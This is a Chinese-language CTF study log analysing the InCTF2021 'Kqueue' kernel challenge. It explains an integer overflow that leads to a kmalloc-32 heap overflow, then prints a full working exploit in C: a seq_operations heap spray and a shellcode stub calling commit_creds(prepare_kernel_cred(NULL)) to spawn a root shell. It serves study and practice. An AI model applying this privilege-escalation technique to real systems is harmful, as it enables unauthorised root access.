首页 > 其他分享 >InCTF2021 - Kqueue 学习记录

InCTF2021 - Kqueue 学习记录

时间:2022-12-29 12:45:30浏览次数:58  
标签:Kqueue 记录 request queue entries entry data InCTF2021 size

  • 漏洞分析

    在内核态实现了一个队列管理程序,主要部分还是堆的增删改查。

    队列结构:

// 管理结构 queue
typedef struct{
uint16_t data_size; // 队列每一项 entry 的大小
uint64_t queue_size; // 队列整体的大小
uint32_t max_entries; // 队列最多的项数
uint16_t idx;
char* data;
}queue;

// 节点结构 queue_entry
typedef struct queue_entry queue_entry;
struct queue_entry{
uint16_t idx; //当前entry的idx
char *data; //当前entry维护的数据
queue_entry *next; //next指针
};


在 kqueue_ioctl 中实现了类似菜单的功能

![image-20220721162841719](/i/l/?n=23&i=blog/2723796/202212/2723796-20221229113737385-1325961011.png)

create_kqueue 实现创建节点

```c
static noinline long create_kqueue(request_t request){
  long result = INVALID;
  // 最多是五个队列
  if(queueCount > MAX_QUEUES)
      err("[-] Max queue count reached");
  // 创建队列时元素可以等于 1,不能小于 1
  if(request.max_entries<1)
      err("[-] kqueue entries should be greater than 0");
  if(request.data_size>MAX_DATA_SIZE)
      err("[-] kqueue data size exceed");
  queue_entry *kqueue_entry;

  ull space = 0;
  if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出
      err("[-] Integer overflow");

  /* Size is the size of queue structure + size of entry * request entries */
  ull queue_size = 0;
  if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
      err("[-] Integer overflow");

  if(queue_size>sizeof(queue) + 0x10000)
      err("[-] Max kqueue alloc limit reached");

  queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

  queue->data_size   = request.data_size;    
  queue->max_entries = request.max_entries;  
  queue->queue_size  = queue_size;           

  kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

  queue_entry* current_entry = kqueue_entry;
  queue_entry* prev_entry = current_entry;

  uint32_t i=1;

  // [1,request.max_entries]
  for(i=1;i<request.max_entries+1;i++){
      if(i!=request.max_entries)
          prev_entry->next = NULL;

      current_entry->idx = i;
      current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

      /* Increment current_entry by size of queue_entry */
      current_entry += sizeof(queue_entry)/16;

      /* Populate next pointer of the previous entry */
      prev_entry->next = current_entry;
      prev_entry = prev_entry->next;
  } 

  // 这里尝试找到kqueue中一个不为NULL的项
  uint32_t j = 0;
  for(j=0;j<MAX_QUEUES;j++){
      if(kqueues[j] == NULL)
          break;
  }
  // break出for循环后 j = MAX_QUEUES,不会触发下面的if
  if(j>MAX_QUEUES)
      err("[-] No kqueue slot left");

  // 导致我们越界分配了一个 queue?
  /* Assign the newly created kqueue to the kqueues */
  // queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  kqueues[j] = queue;
  queueCount++;
  result = 0;
  return result;
}

首先是 __builtin_umulll_overflow 函数,gcc 内置用于检测乘法溢出,这里计算 sizeof(queue_entry) * (request.max_entries+1) 是否溢出,并把结果存在 space 中。但是 request.max_entries 本身没有检查溢出,32 位的无符号数可能造成整数溢出,这样就可以绕过乘法溢出的检测。

此时 queue->max_entries 是一个极大值,而因为前面的 request.max_entries + 1 溢出为 0,所以 space 也还是 0,那么 queue->queue_size 大小就是 sizeof(queue)

接着在下面的循环中 request.max_entries+1 溢出导致不会进入循环,没有为 data 分配 queue_entry。

然后看保存队列的部分:save_kqueue_entries:

static noinline long save_kqueue_entries(request_t request){
......
// 为此需要save的队列分配空间,size为queue->queue->size
  char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
    // 先拷贝queue头数据,这里没有问题
  if(queue->data && request.data_size)
      validate(memcpy(new_queue,queue->data,request.data_size));
  else
      err("[-] Internal error");

    // 再拷贝所有queue的entry数据,这里发生了溢出

  uint32_t i=0;
  for(i=1;i<request.max_entries+1;i++){
      if(!kqueue_entry || !kqueue_entry->data)
          break;
      if(kqueue_entry->data && request.data_size)
          validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
      else
          err("[-] Internal error");
      kqueue_entry = kqueue_entry->next;
      new_queue += queue->data_size;
  }
......

}

根据我们的构造,这里会给 new_queue 分配 sizeof(queue) 大小的内存,明显是不够的,这样在下面的 memcpy(new_queue,queue->data,request.data_size) 中就会发生溢出。

具体的利用需要用 seq_operations + 堆喷射。

  • 漏洞利用

    给 new_queue 分配的大小为 queue->queue_size,也就是 0x18,根据 kmalloc 的规则会在 kmalloc-32 中取,那么就要在这个 slab 中找可用的结构体,这里用到了 seq_operations。

    struct seq_operations {
        void * (*start) (struct seq_file *m, loff_t *pos);
        void (*stop) (struct seq_file *m, void *v);
        void * (*next) (struct seq_file *m, void *v, loff_t *pos);
        int (*show) (struct seq_file *m, void *v);
    };
    

    当打开一个 stat 文件时会在内核空间分配一个 seq_operations 结构体,当 read 一个 stat 文件时,系统会调用 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read_iter() 函数(位于 fs/seq_file.c),可利用的逻辑在:

    ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
    {
        struct seq_file *m = iocb->ki_filp->private_data;
        //...
        p = m->op->start(m, &m->index);
        //...
    

    然后会调用 seq_operations 中的 start,只要控制了 seq_operations->start 后再读取对应的 stat 文件就能劫持控制流。为了保证能溢出到对应地址,需要用到堆喷射。

    下一步就是具体的提权,因为开了 kaslr,无法确定 prepare_kernel_cred 和 commit_creds 的地址,但可以通过编写 shellcode 在内核栈上找恰当数据从而获得内核地址,然后执行 commit_creds(prepare_kernel_cred(NULL))。

    exp.c:

    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <stdio.h>
    #include <stdint.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #include <sys/prctl.h>
    #include <sys/syscall.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    
    typedef struct
    {
        uint32_t    max_entries;
        uint16_t    data_size;
        uint16_t    entry_idx;
        uint16_t    queue_idx;
        char*       data;
    }request_t;
    
    long dev_fd;
    size_t root_rip;
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus(void)
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    
    void getRootShell(void)
    {   
        puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
    
        if(getuid())
        {
            puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
            exit(-1);
        }
    
        puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
        system("/bin/sh");
        exit(0);// to exit the process normally instead of segmentation fault
    }
    
    void errExit(char * msg)
    {
        printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
        exit(EXIT_FAILURE);
    }
    
    void createQueue(uint32_t max_entries, uint16_t data_size)
    {
        request_t req = 
        {
            .max_entries    = max_entries,
            .data_size      = data_size,
        };
        ioctl(dev_fd, 0xDEADC0DE, &req);
    }
    
    void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
    {
        request_t req =
        {
            .queue_idx  = queue_idx,
            .entry_idx  = entry_idx,
            .data       = data,
        };
        ioctl(dev_fd, 0xDAADEEEE, &req);
    }
    
    void deleteQueue(uint16_t queue_idx)
    {
        request_t req = 
        {
            .queue_idx = queue_idx,
        };
        ioctl(dev_fd, 0xBADDCAFE, &req);
    }
    
    void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
    {
        request_t req =
        {
            .queue_idx      = queue_idx,
            .max_entries    = max_entries,
            .data_size      = data_size,
        };
        ioctl(dev_fd, 0xB105BABE, &req);
    }
    
    void shellcode(void)
    {
        __asm__(
            "mov r12, [rsp + 0x8];"
            "sub r12, 0x201179;"
            "mov r13, r12;"
            "add r12, 0x8c580;"  // prepare_kernel_cred
            "add r13, 0x8c140;"  // commit_creds
            "xor rdi, rdi;"
            "call r12;"
            "mov rdi, rax;"
            "call r13;"
            "swapgs;"
            "mov r14, user_ss;"
            "push r14;"
            "mov r14, user_sp;"
            "push r14;"
            "mov r14, user_rflags;"
            "push r14;"
            "mov r14, user_cs;"
            "push r14;"
            "mov r14, root_rip;"
            "push r14;"
            "iretq;"
        );
    }
    
    int main(int argc, char **argv, char**envp)
    {
        long        seq_fd[0x200];
        size_t      *page;
        size_t      data[0x20];
    
        saveStatus();
        root_rip = (size_t) getRootShell;
        dev_fd = open("/dev/kqueue", O_RDONLY);
        if (dev_fd < 0)
            errExit("FAILED to open the dev!");
    
        for (int i = 0; i < 0x20; i++)
            data[i] = (size_t) shellcode;
    
        createQueue(0xffffffff, 0x20 * 8);
        editQueue(0, 0, data);
        for (int i = 0; i < 0x200; i++)
            seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        saveQueue(0, 0, 0x40);
        for (int i = 0; i < 0x200; i++)
            read(seq_fd[i], data, 1);
    }
    

    无语的是将文件系统解包再重新打包后 qemu 不能正常运行,没办法拿了上一个题的文件系统

    image-20220722144339416

  • 参考文献

标签:Kqueue,记录,request,queue,entries,entry,data,InCTF2021,size
From: https://www.cnblogs.com/m00nflower/p/17012222.html

相关文章

  • 0CTF2018 Final - baby kernel 学习记录
    doublefetch由于内核态和用户态之间的数据访问竞争导致的条件竞争漏洞。通常条件下,用户向内核传递数据时,内核先通过copy_from_user等函数向内核拷贝数据,但大量复杂......
  • MINI-LCTF2022 - kgadget 学习记录
    关于ret2dir用来绕smep、smap、pxn等用户空间与内核空间隔离的防护手段。首先,在内核中存在directmappingarea,线性地直接映射了整个物理内存空间。这就意味着,对于......
  • linux bpf 学习记录
    eBPF介绍BPF(BerkeleyPacketFilter)使普通用户拥有了让啮合执行用户代码并共享数据的能力。用户可以讲eBPF指令直接码传输给内核,然后通过socket写时间来触发内核执......
  • MySQL查询数据在一张表不在另一张表的记录
    参考:https://www.cnblogs.com/jelly12345/p/16828722.html方法一:使用notin,易理解,效率低,仅适用单字段匹配适用于数据量小的情况,子表数据少,查外表的时候走外表的索引,这......
  • 获取USG防火墙的NAT记录并发邮件给相应人员提醒
    授权USGNAT配置的时候需要遵循NAT_张三_20221201_长期importparamikoimportsmtplibfromemail.mime.textimportMIMETextfromemail.headerimportHeaderimpor......
  • verilog常见语法记录(一)
    RTL例子moduleled( inputwirein1, inputwirein2, inputwiresel, outputregout //输出控制LED灯);//输入只能是wire型变量输出可以是wire型变量也可以是reg型......
  • openwrt 刷机记录
    在进入pbboot页面刷breed(按住reset按钮,插入电源等待8秒后松开reset按钮,电脑网线连接路由器LAN口)拔掉电源后,用签子或取卡针插入reset按钮长按不要松开,然后接上电源等待8......
  • 记录一次线上慢sql查询问题
        昨天晚上上线后,发现在app查询功能时候,整个系统直接爆出大量的慢sql报警。紧急回滚后查找问题,然后执行sql的执行计划:      发现有一个全表扫描的问......
  • FastAPI 记录笔记
    https://fastapi.tiangolo.com/安装pipinstallfastapipipinstall"uvicorn[standard]"基本代码main.pyfromtypingimportUnionfromfastapiimportFastAPI......
  • redis安装记录
    redis的安装解压安装包:tar-zxvfredis-3.2.5.tar.gz解压完成后,进入redis文件夹下,执行make命令make命令执行完成之后,执行makeinstallredis的启动默认前台启动:redi......